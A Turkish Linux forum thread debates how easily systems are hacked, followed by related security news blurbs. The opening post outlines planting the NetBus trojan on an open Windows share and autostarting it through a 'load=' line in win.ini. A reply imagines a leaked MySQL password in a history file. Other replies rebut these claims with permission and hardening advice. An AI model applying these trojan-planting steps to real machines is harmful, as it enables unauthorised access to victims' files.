Internete baglnadiysaniz Windowsla isiniz bitti. Dileyen herkes sizin dosyalariniza erisir. Bu gayet kolaydir. Simdi internete bagli bir baska makinenin basina oturulur. Ag komsulari acilir. Adres yerine \\192.168.0.1 gibisinden sizin IP'niz yazilir. Bu IP'yi dilerseniz ag tarama programlari ile kolayca bulursunuz. Hepsi bu kadar.. Gitti bilgileriniz. Adam siler, trojan koyup bir tane autoexec.bat'iniza ekler. Basitce elindeki netbus.exe'yi sizin windows dizininize kopyalar. win.ini'yi notepad ile acar. Icersine load=netbus.exe ekler. Oldu bitti.. Bakin ne kolay hackleniyorsunuz ?

Sizce bu ne kadar dogru. Ne kadar abartili ? Web sayfalarinda koca koca reklamlar.. Iste biz sizin hangi adresten girdiginizi biliyoruz. Hatta tum dunya biliyor. Guvenliginiz tehdit altinda.. Siz oldunuz de aglayaniniz yok nerdeyse diyecek..

Bu yaklasim benim garibime gidiyor asil. Biz bilmeyiz ya monoblock kernel koymayi filan..

Haaa, bu tur durumlara karsi ne yapacaklarini bilmeyenler.. Onlarda siberaleme dalmanin kolay olmadigini anlasinlar ve biraz isi ogrensinler derim.. Devaminda kendimde ogrenmeye devam etmeye giderim..

0
Taci
Oncelikle yorum ve dusuncelerini bildiren herkese tesekkurler.
Amacim hazirladigim yukaridaki bu ve diger makalelerde herseyin kolay oldugunu yonude fikir vermek degil. Oyleki herseyi bir anda tek dokuman haline getirmekte pek mumkun degildir sanirim. Ayni zamanda cok bildigimi hicbir zaman soylemedim.
Bu yazidigim makaleler tamamiyle net dunyasinda gordugum durumlari anlatmaktadir. Bu alemde, yurumeyi ogrenmek icin once emekleme devresini gecen kucuk cocuktan farkim olmadigini acikca soyleyebilirim. Buna dayanarak herseyi ben bilirim edasiyla ve hersey bu kadar basit oluyor manzarasini cizme niyetimde degilim. Eger boyle bir taslak cizdiysem ve insani kotu yoldan cikaracak bir yaziya neden oldumsa ozur dilerim :)
Umarim yakinda bazi olaylardan korunma yollarini iceren yazi yazacak kadar gelistiririm kendimi :)
Yine bir senaryo cizecegim :)
Sistemdeki herhangi bir kullanici rastgele bir yerde(nedense senaryoda hep sans eseri bazi olaylar gelisir) bilmem ne history dosyasini gorur ve bu dosya icinde:
...
mysqldump -uroot -pOP_BENI LINUXUNIVERSITE > linuxuniversite.dump
...

gibi bir yazi ile karsilastiginda ve icindeki durtuye yenilip MySqL hayallerine dalar ve bu
hayallerde universitenin linux kulubunun kayitlarini gorunce o sistem hakkinda ne dusunur acaba..
Bunlar senaryodan ibaret gercektir yada degildir :)

Be birader boyle senaryolari nerden buluyor yada uretiyorsun diyen arkadaslar olabilir.
Cevabim; insan yuremeyi ogrenmek icin emeklerken yuzu nedense yere daha yakin oldugu icin
toprak ustundeki gozle gorulen canlilari daha iyi farkedebiliyor :)
Herkese saygilarimi sunuyor tekrar tesekkur ediyorum..

Not: ustalar varken bize pek konusmak dusmez. O ustalar gibi olabilmek icin onlardan daha cok ogrenecek bilgi ve tecrubeler olacaktir :)


Tacettin Karadeniz
0
skoylu
Bu history dosyasi nerede olacak peki ? Herhalde bunun bir takim permissionlari olacak. Mesela /root/.bash_history dosyasi. Gel sana bir account acayim benim makinede. Gir, birak bu dosyayi okumayi, bu dizinde dosyanin varligini bile gorebilirsen ondan sonra..

Bu tur dosyalarin varsayilani, rwx------ seklinde. Bak:

# ls -al ~/.ba*

-rw------- 1 root root 21428 Nis 30 12:35 /root/.bash_history
-rw-r--r-- 1 root root 24 Şub 16 2002 /root/.bash_logout
-rw-r--r-- 1 root root 106 Şub 16 2002 /root/.bash_profile
-rw-r--r-- 1 root root 226 Şub 16 2002 /root/.bashrc

Hadi buyur.. Nasil bulacaksin bu satiri. Farzet ki mysql logunda yakaladin. Veya apache logunda.. Root degilsen cok ugrasirsin gorecegim diye. Hem oyle isi serverlik olan bir sisteme seni ne diye local user olarak koyayim ki ?

Sistemler hacklenmez degil. Hemde cok guzel hacklenir. Ama bu kadar basitte degil. Zaten en zor is sisteme bir sekilde login olabilmektir. Dahasi login olduktan sonra da pat diye root olabilmekte. Bunun bir iki yolu var. Ama hemen hepsi bir buffer overflow olmasini gerektirir. Bu durumda bile sistem yoneticisinin yapabilecegi bir suru sey var. Mesela redhat kurmamak gibi sisteme :))

Bakin bir ton acik,exploit vs. mevcut ortalikta. Ornegin smb. Ornegin meshur BIND ve Sendmailler. Ama bu soylediklerimiz, dikkat ederseniz hemen her Linux makine uzerinde olan seyler. Eger sizin soylediginiz gibi bir yerlerde bir history dosyasi bulmak ve okumak kadar kolay olsa bu kadar sistem calisabilirmiydi ?


0
Taci
Ben, her makineye girer, elimi kolumu sallaya sallaya izlerim gibi bir ibare kullanmadim ki.. Sadece bir senaryo soyledim. Bunuda belirttim dogrudur yada yanlistir diye. Haklisiniz herkes istedigi dosyayi goremez.
Bunu ispatlamak icinde bana makinenizde kullanici hesabi acmanizada gerek yok. Siz degil, baskasida buraya gel , sana makinemde kullanici acayimda su dizini incelede goreyim bakayim desede,sagol arkadas gerek yok derim.

Eger uslubta bir hata ettikse cok ozur diliyorum..
Dedigim gibi benim hic bir sey ispat etme gibi bir durumum yok.Kuvvetim yok gucum yok :) sadece gorur ve dusunurum cevrede olanlara..
Bazi olaylara kafam basmadigi icin yazilarda paylasmak istedim dusuncelerimi, gorduklerimi..
Saygilarla...
Kolay gelsin..
0
skoylu
Bir ara bir TV reklami vardı. Vakıfbank'ın. Efendim, biz sitemize sizin fotoğrafınızı koyduk. Bu sayede siz vakıfbanka bağlanmış olduğunuzu anlayacaksınız. Ne müthiş güvenlik önlemi ama ! Milleti keriz yerinde gören bir reklam..

Bir diğeri "Serverlerimiz, Akmerkez'de en üstün SSL programı ile korunmaktadır.." gibisinden bir şey..

Bunlar güvenli olduğunu iddia edenler.. Birde güvenlikçiler var. Sizi kastetmiyorum doğrudan doğruya.. Yahu o kadar bir sürü şey varken, mesela ne bileyim doğru dürüst bir segmentasyon vs. yokken ortada, Layer 1/2 haritası yokken, user mapping vs. yokken, cephe, safha vs. hic bir sey belli degilken, adam gidiyor, iste su yok bu... Yada ne bileyim, internetteki herkes sizin adresinizi ogrenebiliyor diyor.. Siz cikiyorsunuz, hemen boyle ayakustu hackleniverirsiniz diyorsunuz..

Dahasi sizin yukarida yazdiginiz gibi yontemleri kimse kullanmaz. BU tur davranacak olan ancak script kiddie'lerdir. Onlarida durdurmak icin gerekli olanlar bellidir: Script kiddie toolarina karsi onlemler.. Elbette yolda 200km surat yapmaya calisanlar, Otobus'un direksiyonunda 14 saat oturmayi marifet sananlar gibi firewall kurmakla guvendeyiz diyenler de cikacaktir. Ama mihenk tasi onlar degil, gercekten isini ciddiye alan yerler olmali.
0
caglar_onur
Serdar Hocam biraz sert olmuş gibi geldi yorumunuz (banada kızmayın ama) ,haklısınız bazı şeyler insanı çileden çıkartıyor lafım yok.Ama birşey de ben eklemek istedim ülkem şartları için konuşuyorum yurtdışını bilemeyeceğim.

Farzedin insanların maillarını okuduğu,web hizmeti veren üzerinde de veritabanı uygulaması olan bir sistemi,birde SSH çalışşın.Bu maillarını okuyan kullanıcılara 50 kere sölenmiş şifre güvenliği ,şifre güvenliği diye. Şimdi yok mudur bu sistemde acayip şifreler. Eee diyceksiniz izin verme ,kısıtla ,belli kurallara uydur,ama adamlar unutuyoruz biz böle karışık şifreleri yada şu kağda yazalım monitöre yapıştıralım diyorsa napıcaksınız 500 kişiyi 1000 kişiyi nasıl idare edeceksiniz.Edilmez mi edilir ama son kullanıcı bilinçlendiği zaman.

Bunlarıda geçtim bir şifreyi ele geçirmek (örneğin bir oda dolusu insan hub a bağlılar biride çalıştırmış ethereal ı bekliyor pop3 ü telneti) bazı şartlarda ne kadar zorki. Burdan sonra sisteme login olmak ne bilim xxx2in buffer overflow u ile root shelle düşmek ne kadar bi zahmet gerektirirki ( ben oturupta bu açıkları bulanlardan değilde hazıra konup kullananlardan bahsediyorum ).

Ama işini bilen belli bir düzeni sağlamış sistemler ve onları yönetenlere değil lafım ,tabiki her şeyin bir çözümü yapılması gerekenleri ,herşeyin iyisini yapanlar herzaman var, var ama yapılmaması gerekenleri yapanlarda az değil diye düşünüyorum.

Saygılar ;)
0
skoylu
Son kullanicinin oturup bilinclenmesini beklemek bir gaflet olur. Hal boyleyse buna gore cozumler getirilir. Onceikle 500 kisi makineye olmasi gerekiyor mu ? Yani shell kullanmasi ? Sanirim gerkmiyordur. Kabaca passwd'nin satirlarinda son fieldi /dev/null veya mesela /bin/false vs. yapabilirsiniz.

Diger taraftan, LDAP diye bir icat mevcut. Bununla kimin hangi servislere nasil erisecegini hemde merkezi olarak takip edebilirsiniz.

Yani, bunlar yillardir var. Ama bunlari uygulamayan bir cok adminde var. Bu turden sorunlar, yani sistem login oluverme ihtimali binde bir ancak olur. Ama smb explodinden carpilma ihtimaliniz cok cok daha yuksek. Veya ne bileyim sendmail'den mesela..
Görüş belirtmek için giriş yapın...

İlgili Yazılar

Live CD'ler ve read-only mount

e2e

GNU/Linux'un en büyük katkılarından biri de Live CD'ler oldu. Knoppix ile başlayan Live CD serisi şimdilerde epey bir arttı. Live CD'lerin en temel kullanım alanlarından biri de "forensic", yani "kırılmış" bir sistem üzerinde iz sürme, kanıt bulma vs. Live CD'lerin makinadaki disk bölümlerini read-only mount etme özelliği sayesinde diskte herhangi bir kanıt kaybına neden olmadan bu işlem rahatlıkla yapılabiliyor, ya da en azından öyle düşünülüyordu.

Linux-Forensics.com'da yer alan bu incelemeye göre bu konuda istisnalar var. Yazar, EXT3 ve Reiserfs dosya sistemi olan disklerde read-only mount edilmesine rağmen disklerdeki hash değerlerinin değiştiğini belirtiyor. Bunun bu dosya sistemlerinin journaling özelliğinden kaynaklanıyor olabileceğini de ekleyen yazar, bunun sadece Knoppix'in değil, denediği başka Live CD GNU/Linux'larda da olduğunu söylüyor.

ABD, DES`in yerini alacak olan algoritma olarak Rijndael`i seçti...

FZ

Amerika Birleşik Devletleri`ndeki NIST (National Institute of Standards and Technology - Ulusal Standartlar ve Teknoloji Enstitüsü yani bir nevi TSE) ulusal standart güvenlik algoritmasi olarak (AES - American Encryption Standard) iki Belcikali bilgisayar bilimcisi tarafindan gelistirilen Rijndael kod isimli şifreleme algoritmasını seçti.

İçeriği yönetmek ya da nasıl adam susturulur?

sundance

SFgate.com'da yeralan bir göre habere göre Black Hat 2005'de yapılacak bir sunumu durdurmak için Cisco oldukça yoğun çaba harcamış.

Cisco IOS üzerindeki önemli bir açıkla ilgili sunum yapacak olan ISS çalışanı Michael Lynn, Cisco ve çalıştığı şirket tarafından bu sunumu yapmaması konusunda uyarıldı, akabinde Cisco'nun kiraladığı elemanlar binlerce konferans dosyasından yirmi sayfayı teker teker çıkartıp, konferans sunumlarıyla ilgili cdyi de değiştirdiler. Bunun üzerine Michael Lynn, ISS'den istifa edip, işsiz birisi olarak yine de sunumunu yaptı.

Keylogger üreticisine dava... Ama neden?

tongucyumruk

ABD ordusunda çalışıyorsanız, eşinize güvenmediğiniz için bilgisayarına keylogger yüklediyseniz ve boşanmanızın ardından durum ortaya çıkınca hiç tahmin etmediğiniz tazminat davası ile karşı karşıya kalırsanız ne yaparsınız?

Tabiiki her vatansever Amerikan vatandaşının yapacağını: Kanadalı şirketi dava edersiniz.

JavaScrypt

FZ

Autodesk firmasının kurucularından ve efsanevi AutoCAD programının yazarlarından biri olan John Walker, DES şifreleme standardının yerini almış olan AES´i (yani Rijndael algoritmasını) JavaScript ortamına taşıdı. Şifreleme, şifre çözme, parola cümlesi oluşturma ve steganografi işlevlerini barındıran bu JavaScript kullanımı GPL lisanslı olarak isteyen herkesin kullanımına açık.

C/C++ dururken neden JavaScript kullanayım, deli miyim divane miyim ben tepkisini verecekler ilgili sayfada usta programcının gerekçelerini okuyabilirler.